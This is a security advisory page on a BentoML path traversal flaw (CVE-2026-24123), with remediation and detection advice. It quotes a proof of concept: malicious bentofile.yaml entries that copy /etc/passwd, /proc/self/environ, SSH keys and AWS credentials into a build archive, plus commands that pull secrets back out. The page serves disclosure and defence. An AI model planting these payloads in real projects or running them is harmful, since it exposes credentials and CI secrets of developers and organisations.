CVE-2026-24123: BentoML has a Path Traversal via Bentofile Configuration
BentoML before 1.4.34 follows file paths in bentofile.yaml without keeping them inside the build directory. A malicious bentofile makes `bentoml build` copy arbitrary files, such as SSH keys or CI environment variables, into the bento archive. Upgrade to bentoml 1.4.34.
Published Jan 26, 2026 · Updated Jan 29, 2026 · Analysis Nov 9, 2026
What an attacker can do
Four bentofile fields take file paths: description (with a file: prefix), docker.setup_script, docker.dockerfile_template and conda.environment_yml. resolve_user_filepath() in src/bentoml/_internal/utils/filesystem.py expands ~ and environment variables and returns the real path with no containment check. The description code in bento.py joins the path and copies it with shutil.copy.
So description: "file:/proc/self/environ" copies the build process environment into the bento's README.md. A dockerfile_template of ~/.ssh/id_rsa or $HOME/.aws/credentials lands in env/docker/Dockerfile.template. Absolute paths and ../ traversal work in all four fields. Tilde and variable expansion work in the docker and conda fields only.
The victim must run bentoml build on an untrusted bentofile, for instance in a cloned repository or a pull request built in CI. The stolen files then travel with the bento on bentoml push, export or containerization. In CI, /proc/self/environ exposes every injected secret, such as cloud keys and tokens. Anyone with access to the registry or BentoCloud org can then pull them out.
Who is affected
pip bentoml before 1.4.34, wherever bentoml build runs on a bentofile you did not write. The risk is highest in CI runners and on developer machines that build bentos from cloned repositories. Check the installed version with:
pip show bentomlbentoml
- Ecosystem
- PyPI
- Affected
- < 1.4.34
- Fixed in
- 1.4.34
- Check
pip show bentoml
How to fix it
Upgrade to bentoml 1.4.34 or later:
pip install -U bentomlThe advisory names no workaround. Until you upgrade, read the bentofile.yaml of any third-party project before you build it, and do not build untrusted bentofiles in CI jobs that hold secrets.
How to tell if you were hit
Search bentofiles for file: descriptions and for paths that start with /, ~, $ or contain .. in description, setup_script, dockerfile_template and environment_yml. Inspect built bentos under ~/bentoml/bentos/ for a README.md or env/docker/Dockerfile.template that holds passwd entries, keys or KEY= lines. If a bento with such content was pushed, rotate the exposed credentials and remove the bento from the registry.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.
Details
The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.
Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:
def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
_path = os.path.expanduser(os.path.expandvars(filepath))
if not os.path.isabs(_path) and ctx:
_path = os.path.expanduser(os.path.join(ctx, filepath))
if os.path.exists(_path):
return os.path.realpath(_path) # No path containment check
raise FileNotFoundError(f"file {filepath} not found")Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:
if build_config.description.startswith("file:"):
file_name = build_config.description[5:].strip()
if not ctx_path.joinpath(file_name).exists():
raise InvalidArgument(f"File {file_name} does not exist.")
shutil.copy(ctx_path.joinpath(file_name), bento_readme) # Path traversalAll four vulnerable fields:
description: "file:../../../etc/passwd"→ copied toREADME.mddocker.setup_script: "../../../etc/passwd"→ copied toenv/docker/setup_scriptdocker.dockerfile_template: "../../../secret"→ copied toenv/docker/Dockerfile.templateconda.environment_yml: "../../../etc/hosts"→ copied toenv/conda/environment.yml
Multiple path formats are supported, making exploitation trivial:
| Format | `description` | `setup_script` | `dockerfile_template` | `environment_yml` | | Absolute paths (`/etc/passwd`) | Yes | Yes | Yes | Yes | | Tilde expansion (`~/.ssh/id_rsa`) | No | Yes | Yes | Yes | | Env vars (`$HOME/.aws/credentials`) | No | Yes | Yes | Yes | | Relative traversal (`../../../etc/passwd`) | Yes | Yes | Yes | Yes | | Proc filesystem (`/proc/self/environ`) | Yes | Yes | Yes | Yes |
The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().
The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).
PoC
- Create a minimal service:
# service.py
import bentoml
@bentoml.service
class TestService:
@bentoml.api
def predict(self, text: str) -> str:
return text- Create malicious
bentofile.yaml. Multiple attack vectors are available:
Vector 1: Exfiltrate /etc/passwd via description field
service: "service.py:TestService"
description: "file:/etc/passwd"Vector 2: Exfiltrate all environment variables (CI/CD secrets)
service: "service.py:TestService"
description: "file:/proc/self/environ"Vector 3: Exfiltrate files using environment variable expansion (docker fields only)
service: "service.py:TestService"
docker:
dockerfile_template: "$HOME/.aws/credentials"Vector 4: Exfiltrate files using tilde expansion (docker fields only)
service: "service.py:TestService"
docker:
dockerfile_template: "~/.ssh/id_rsa"Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields support all path formats.
- Run build:
$ bentoml build
Successfully built Bento(tag="test_service:abc123").- Verify exfiltration:
# For description field - check README.md
$ cat ~/bentoml/bentos/test_service/abc123/README.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
# For /proc/self/environ - extract CI/CD secrets
$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET"
AWS_SECRET_ACCESS_KEY=AKIA...
GITHUB_TOKEN=ghp_...
# For dockerfile_template - check Dockerfile.template
$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.
Impact
Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).
Attack scenarios:
- Supply chain attack: Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated
- CI/CD environment variable theft: Using
file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWS_SECRET_ACCESS_KEY,GITHUB_TOKEN,DATABASE_URL, etc.), making this a single-payload method to steal all pipeline secrets. - BentoCloud exfiltration: When victims push compromised bentos to BentoCloud (
bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel. - Data theft: Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments
Credited to logicx24.
Questions
- Does BentoML CVE-2026-24123 need user interaction?
Yes. Someone has to run bentoml build on the malicious bentofile.yaml. The usual path is a cloned repository or a pull request built in CI.
- Why is CI/CD the main concern?
A description of file:/proc/self/environ copies every environment variable of the build process into the bento, and CI systems pass secrets that way.
- Which version of BentoML fixes it?
Version 1.4.34. Earlier versions are vulnerable.
References
Read for this analysis:
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More BentoML vulnerabilities
All BentoML entriesCVE-2026-44345
BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)
high8.8May 11, 2026CVE-2026-44346
Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043)
high8.8May 11, 2026CVE-2026-40610
BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context
medium5.5May 7, 2026CVE-2026-35043
BentoML: Command Injection in cloud deployment setup script
high7.8Apr 3, 2026CVE-2026-35044
BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation
high8.8Apr 3, 2026CVE-2026-33744
BentoML has Dockerfile Command Injection via system_packages in bentofile.yaml
high7.8Mar 26, 2026
